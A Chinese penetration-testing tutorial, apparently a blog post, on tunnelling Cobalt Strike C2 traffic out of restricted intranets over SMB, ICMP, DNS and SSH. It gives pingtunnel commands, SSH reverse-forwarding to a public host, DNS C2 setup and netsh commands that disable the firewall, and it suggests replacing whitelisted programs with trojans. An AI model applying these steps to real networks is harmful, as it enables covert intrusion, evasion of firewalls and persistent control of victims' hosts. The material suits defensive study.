内网安全:隧道技术详解
隧道技术概述
隧道技术是解决流量不出网的问题,利用可以出网的协议封装出网。它通过在原有的网络协议上封装和封装数据包,使得数据能够在两个网络之间进行传输。
隧道技术是一种网络通信的技术手段,用于在不同的网络之间建立安全、可靠的通信连接。它可以扩展网络、穿越防火墙和 NAT、提供加密和安全性,是实现 VPN 等网络功能的重要组成部分。
详细讲解了内网安全中的隧道技术,涵盖 SMB、ICMP、DNS 和 SSH 四种协议的应用。通过封装可出网协议,隧道技术可解决流量出网问题,实现 Cobalt Strike 上线及持久化控制。文章包含反向连接实验、各协议搭建步骤、防火墙应对策略及 Linux 上线解决方案,并对不同协议的隐蔽性与适用场景进行了对比分析,帮助安全测试人员根据网络环境选择合适的隧道方案。

隧道技术是解决流量不出网的问题,利用可以出网的协议封装出网。它通过在原有的网络协议上封装和封装数据包,使得数据能够在两个网络之间进行传输。
隧道技术是一种网络通信的技术手段,用于在不同的网络之间建立安全、可靠的通信连接。它可以扩展网络、穿越防火墙和 NAT、提供加密和安全性,是实现 VPN 等网络功能的重要组成部分。
隧道穿越防火墙:在面对防火墙限制时,隧道技术可以帮助绕过这些限制,使得内部网络能够与外部网络进行通信。它通过将数据封装在可通过防火墙的通信协议上进行传输,达到穿越限制的效果。
例如,防火墙出站设置严格,仅允许 ICMP 协议通过,我们可以把 TCP 协议的数据封装进入 ICMP 协议来出防火墙,实现流量出网。
隧道技术的两个作用
我们基本不需要关注第二种作用,因为这些在通讯上的应用往往都比较苛刻,主要在网络这一块应用比较多,在内网安全测试中,主要作用是通过隧道移交权限。
所以有必要声明,文中的实验环境的主机均是取得了系统权限
隧道技术对比代理技术:
建立隧道的流程
考虑到在同等条件下,使用隧道技术来替代反向连接更优秀,原因是使用隧道更加隐蔽也能达到上线的效果,而且这些协议搭建的隧道除了 SMB 协议基本都是反向连接的。
网络说明 网段情况:Vmware 配置网络。 攻击机:公网 IP。 靶机:
防火墙限制说明 在 Win 2008 服务器上开启了防火墙,只允许 80 端口 TCP 进行通讯。入站限制严格,不可访问外网。 在 Win 2012 服务器上开启防火墙,只允许访问打印机。入站限制严格,不可访问外网。
实验前提说明 MSF/CS 的木马走的都是 TCP 的协议,因为正向连接完全堵死!在这张网络拓扑图中,我们已经取得 win7,win10 权限,接下来将主要目标是拿下 win2008 win 2012。
出站策略宽松,可以选择 TCP 协议反向连接。
在 CS 上选择和 win10 的会话。设置监听器,IP-win10:192.168.22.130 PORT:4444。
生成对应系统的后门文件,上传至目标主机并执行,即可上线。
首先,看到 win2012 入站严格,出站宽松,第一想法肯定是在 Win2012 上反向连接到 win2018 上上线 CS。但是需要主要到 win2008 的入站规则严格,从 win2012 上的流量走向 win2008 对 win2008 主机是正向的,是要触发入站规则的。
但是主要到 win2012 的入站规则里面允许通过访问打印机,可以利用 SMB 协议建立正向连接来实现 win2012 流量出网。
如何判断? 使用 CS 直接扫描对方网段的主机的 445 端口即可,注意在内网要别动静太大。
SMB(Server Message Block)协议是一种在计算机网络中共享文件、打印机和其他资源的通信协议。它最初由微软开发,用于在局域网中的计算机之间共享文件和资源,445 端口运行。
查看 win2012 的网络连接信息 netstat -ano。445 端口开放,开启了 SMB 服务。
判断: 进行网络扫描看看有没 445 端口开放。
创建监听器,选择 SMB 协议生成后门。
配置监听器,选择会话,利用 SMB 协议进行横向移动。
通过横向移动拿下对方主机权限后搭建 SMB 协议隧道完成上线控制,通过 SMB 协议搭建的隧道完成对方流量出网,在 CS 处上线进行持久化控制。
判断: ping 命令走的就是 ICMP 协议。
ICMP(Internet Control Message Protocol,互联网控制报文协议)是一种用于在 IP 网络中传递控制消息的协议。它是 IP 协议的一个补充,用于提供网络诊断、错误报告和网络管理等功能。
CS 端配置两个监听器。 监听器 1:IP:127.0.0.1 PORT:6666 监听器 2:IP:192.168.46.66 PORT:7777 使用监听器 1 生成后门,上传到靶机并执行。同时被攻击机执行这条指令:
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1
靶机会把访问攻击机的 TCP 流量发到自己本地 6666 端口并封装进 ICMP 协议再进行发出。
攻击机上运行:
./pingtunnel -type server
先对收到的 ICMP 取出 TCP 流量,完成靶机上线 CS!!!
判断: nslookup www.baidu.com 能返会结果,说明 DNS 可以出网。 DNS 属于是应用层协议,但是 DNS 在不同情况下使用的协议不同。DNS 在区域传输时使用 TCP,域名解析使用 UDP。防火墙上禁用的是 TCP,DNS 协议搭建隧道利用的是域名解析,所以使用的是 UDP。
DNS(Domain Name System,域名系统)是互联网上用于将域名转换为对应的 IP 地址的协议。它充当了互联网的'电话簿',提供了域名与 IP 地址之间的映射关系。
[图片:DNS 协议搭建隧道网络拓扑图]
在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交换。但其本质问题是,预期的返回结果应该是一个 IP 地址,而事实上不是一返回的可以是任意字符串,包括加密的 C&C 指令。
需要准备一个域名并配置两条 NS 解析,NS 解析将子域名指定其它 DNS 解析。当解析 ns1.whgojp.top 域名就会让 DNS 解析 cs.whgojp.top,最终解析为一个 IP。这个 IP 是我们 CS 服务器的地址。
在 CS 上配置 DNS 监听器。
使用这个监听器生成后门,上传对方服务器并执行。点击进去输入命令,建立 DNS 联系。上线 CS。
DNS 协议也有在通讯方面的应用,但是个人感觉太鸡肋,因为实现 DNS 通讯需要权限,都有高权限了直接上线即可,还建立什么通讯。所以这种通讯在内网渗透没有什么价值,在内网穿透可能有些价值。
CS 上无法使用这个隧道技术进行上线,想要使得 Linux 上线需要使用别的工具。但是 SSH 隧道在通讯上具有一定的意义。
SSH(Secure Shell,安全外壳协议)是一种用于在不安全网络上安全地进行远程登录和数据传输的网络协议。它通过加密通信和身份验证机制,提供了保密性、完整性和身份认证等安全功能。
已经拿下了 Linux 主机的权限,借助 Linux 主机搭建 SSH 隧道探针 Linux 所在的内网。
Linux 开启 SSH 协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
这个隧道搭建的意义就在于可以实现对内网的探针。
将本地访问 1.16 8080 端口的流量发给 47.94.236.117 1234 端口上。
ssh -CfNg -R 1122:192.168.1.16:8080 [email protected]
这个需要公网服务器的密码,利用条件很低。
将本地访问 1.16 8080 端口的流量转发至本地 1122 端口。
ssh -CfNg -L 1122:192.168.1.16:8080 [email protected]
在这台 Linux 上访问本地 1122 端口即可。
项目地址:CrossC2 面向 Linux Mac IOS Android 系统上线支持。插件使用,命令使用。
根据 CS 服务系统类型选择插件,我的是 Linux,下载 Linux 即可。上传至你的 CS 目录下。还有这两个文件,从 CS 客户端加载,在 windows 上加载。目前支持反向的 HTTPS 和正向的 TCP。创建监听器,反向上线。在 CS 上有这个文件。生成后门,在 system 处可以选择系统。服务端生成后门文件。上线。通过程序进行上线,更方便一些。
当我们拿下服务器权限后,防火墙过滤极端严格,隧道不管用,还有办法,选择干掉防火墙。当然风险还是很大的。可以直接关闭防火墙,删除规则,或者替换。建议尝试替换,动静较小,有的程序把自己放入白名单中,替换程序。可以把木马与程序进行替换。
防火墙相关命令:
# 查看当前防火墙状态
netsh advfirewall show allprofiles
# 关闭防火墙
netsh advfirewall set allprofiles state off
# 开启防火墙
netsh advfirewall set allprofiles state on
# 恢复初始防火墙设置
netsh advfirewall reset
# 启用桌面防火墙
netsh advfirewall set allprofiles state on
# 设置默认输入和输出策略
netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
# 如果设置为拒绝使用 blockinbound,blockoutbound
为了更全面地理解隧道技术,以下是对上述四种协议的对比分析:
| 协议 | 特点 | 适用场景 | 隐蔽性 |
|---|---|---|---|
| SMB | 依赖 445 端口,常用于内网文件共享 | 内网横向移动,出站受限但 445 开放 | 低(易被审计) |
| ICMP | 依赖 Ping 命令,带宽小 | 简单探测,带宽要求低的控制 | 中(可被流量分析) |
| DNS | 依赖域名解析,UDP 为主 | 出站严格,仅允许 DNS 查询 | 高(伪装成正常流量) |
| SSH | 加密通道,端口转发 | Linux 环境,需要稳定连接 | 高(加密内容) |
在实际渗透测试中,应根据目标网络的防火墙策略灵活选择隧道协议。通常优先尝试 DNS 和 ICMP,因为它们更容易绕过基础防火墙规则。若需更高稳定性,SSH 是不错的选择,但前提是目标主机已开启 SSH 服务且未被禁止。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online
将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online